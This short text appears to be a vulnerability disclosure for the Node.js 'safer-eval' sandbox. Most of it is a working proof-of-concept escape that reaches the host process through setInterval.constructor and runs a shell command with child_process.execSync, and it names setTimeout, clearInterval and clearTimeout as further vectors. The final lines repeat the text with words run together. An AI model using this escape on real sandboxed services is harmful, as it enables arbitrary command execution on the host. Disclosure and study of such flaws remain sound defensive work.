The following can be used to break out of the sandbox:
var saferEval = require("safer-eval");
var code = "setInterval.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString();";
console.log(saferEval(code));
Other than setInterval, one can also use clearInterval, clearTimeout and setTimeout
The following can be used to break out of the sandbox:
Other than
setInterval, one can also useclearInterval,clearTimeoutandsetTimeout